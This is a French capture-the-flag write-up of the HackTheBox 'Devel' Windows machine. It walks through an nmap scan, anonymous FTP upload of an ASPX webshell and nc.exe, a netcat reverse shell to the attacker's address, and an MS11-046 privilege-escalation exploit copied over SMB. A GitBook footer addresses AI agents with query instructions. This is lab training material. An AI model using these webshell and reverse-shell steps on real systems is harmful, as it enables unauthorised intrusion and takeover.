> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md).

# Compte rendu HackTheBox de Devel

{% embed url="<https://app.hackthebox.com/machines/Devel>" %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/749af7b25e9dbb89b8b0a03d67feca94f3b7ab66" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/bb84f4339dcd93d255fd014e1b9d5cb84422ef79" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.5 -oG allPorts
```

<figure><img src="/files/393f78246900dc58fb13a4e88383b7d42e0d25df" alt="" width="563"><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisation de la fonction extractPorts pour afficher les ports ouverts de manière concise et les copier dans le presse-papiers.

<figure><img src="/files/312479703d290dd25b8853b98072599de6ecfb4d" alt="" width="563"><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p21,80 10.10.10.5 -oN targeted
```

<figure><img src="/files/5e7f4955da09353677b707304b9bd28ce4371f17" alt=""><figcaption></figcaption></figure>

## **Analyse des services**

### **Port 21 - FTP**

Le serveur FTP est accessible avec des identifiants anonymes. En explorant le répertoire FTP, nous découvrons trois fichiers :

* **`aspnet_client`**
* **`iisstart.htm`**
* **`welcome.png`**

<figure><img src="/files/1f9e7fb4c335d06353e9a473b3ca33b76cdbb66f" alt=""><figcaption></figcaption></figure>

L'image **`welcome.png`** semble être une bannière standard.

<figure><img src="/files/506728256560cc7d47501fb252576f336e45b937" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP :

Le serveur HTTP affiche une page avec la même bannière que celle trouvée sur le FTP. Cela suggère que le site récupère ses fichiers directement depuis le serveur FTP.

<figure><img src="/files/6a6a185798684fb1578437c865f7d61c11e3561f" alt=""><figcaption></figcaption></figure>

#### **Tests d'écriture sur le FTP**

En testant les permissions d'écriture sur le serveur FTP, nous confirmons qu'il est possible d'ajouter des fichiers avec la commande

```bash
put test.txt
```

<figure><img src="/files/2f60d998efecd3e363a298f2a26131ab8a4678d7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eaf1458fc25ea168a606f68e4a1f12562b765bc4" alt=""><figcaption></figcaption></figure>

## **Exploitation - shell inversé via FTP**

### **Téléversement d'un webshell ASPX**

Nous utilisons un webshell préexistant, **`cmd.aspx`**, depuis SecLists :

```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Puis nous l'importons sur le serveur FTP :

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

Nous accédons au webshell via le serveur HTTP et exécutons des commandes, par exemple :

```bash
ipconfig
```

<figure><img src="/files/54e6b82fe6607a4d97857ad4354b1e91cb9846c4" alt=""><figcaption></figcaption></figure>

### **Téléversez le `nc.exe` binaire pour un shell inversé**

Nous téléchargeons **`nc.exe`** depuis SecLists :

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Puis nous l'ajoutons sur le serveur FTP :

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

Depuis le webshell, nous localisons le **`nc.exe`** fichier sur le serveur cible :

```powershell
dir /s C:/nc.exe
```

### **Mise en place du shell inversé**

<figure><img src="/files/4adf8f760c904d9fc79f7c88cfa0df0962e8240b" alt=""><figcaption></figcaption></figure>

**Écoute sur le port 443 :**

Nous mettons en place un écouteur avec `nc` pour écouter sur le port 443 :

```bash
rlwrap nc -nvlp 443
```

Depuis la machine cible, nous exécutons la commande suivante via le webshell :

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="/files/1e0db4b54beda8bec574cac4dd90d11b4e2a8568" alt=""><figcaption></figcaption></figure>

## **Élévation de privilèges**

### Exploitation du noyau <a href="#kernel-exploitation" id="kernel-exploitation"></a>

#### **Vérification des informations système**

Avec l’ **`systeminfo`** commande, nous identifions que la machine utilise **Windows 7 Enterprise**, ce qui ouvre la possibilité d'exploiter des vulnérabilités connues pour cette version.

```powershell
systeminfo
```

Le résultat nous indique que la machine utilise **Windows 7 Enterprise**, avec la version suivante :

```plaintext
VERSION DU SE : 6.1.7600 N/A Build 7600
```

<figure><img src="/files/d3bfd9586d384865d779e502aaf2dfe1ab44f7f3" alt=""><figcaption></figcaption></figure>

### **Exploitation de la vulnérabilité MS11-046** <a href="#ms11-046-vulnerability-exploitation" id="ms11-046-vulnerability-exploitation"></a>

Cela nous permet de savoir que la machine peut être vulnérable à certains défauts connus, tels que **MS11-046**, une vulnérabilité du service **Windows SMB**.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

> Vulnérabilité **MS11-046** permet à un attaquant d'exécuter à distance avec des privilèges **NT AUTHORITY/SYSTEM** via le service SMB. Pour exploiter cette vulnérabilité, nous allons transférer et exécuter un fichier malveillant sur la machine cible.

<figure><img src="/files/ec47875d3a180730d206423992505c3d19173691" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0848a8c31e295d376b38f6a477087b07393c5b27" alt=""><figcaption></figcaption></figure>

### Transfert de fichiers Windows (smb) <a href="#file-transfer-windows" id="file-transfer-windows"></a>

> Nous utilisons **smbserver.py** pour partager un répertoire contenant le fichier d'exploitation **ms11-046.exe**. Ce fichier est ensuite copié sur la machine cible.

```bash
smbserver.py share $(pwd) -smb2support
```

Depuis la machine cible, nous avons copié le fichier malveillant à l'aide de la commande SMB :

```powershell
copy //10.10.14.26/share/ms11-046.exe ms11.exe
```

<figure><img src="/files/c764d9bc46b08ab25b04d8d3967e794912e857e6" alt=""><figcaption></figcaption></figure>

**Exécution de l'opération**

Une fois le fichier transféré, nous exécutons **ms11-046.exe** sur la machine cible pour exploiter la vulnérabilité et obtenir un shell avec les privilèges SYSTEM. Pour ce faire, nous utilisons la commande suivante :

```powershell
./ms11.exe
```

<figure><img src="/files/e02c3ecd2dc00cf8c3e56586793d8a30cb25d912" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

<figure><img src="/files/1c46390675c4a3d19750c5a926a61b165f01ac07" alt="" width="563"><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/3004cf62983f6f04a5bac6cfc744eb576d4d3529" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/b7e71d08f649ecaf2873787a80e67279ce8fdacf" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
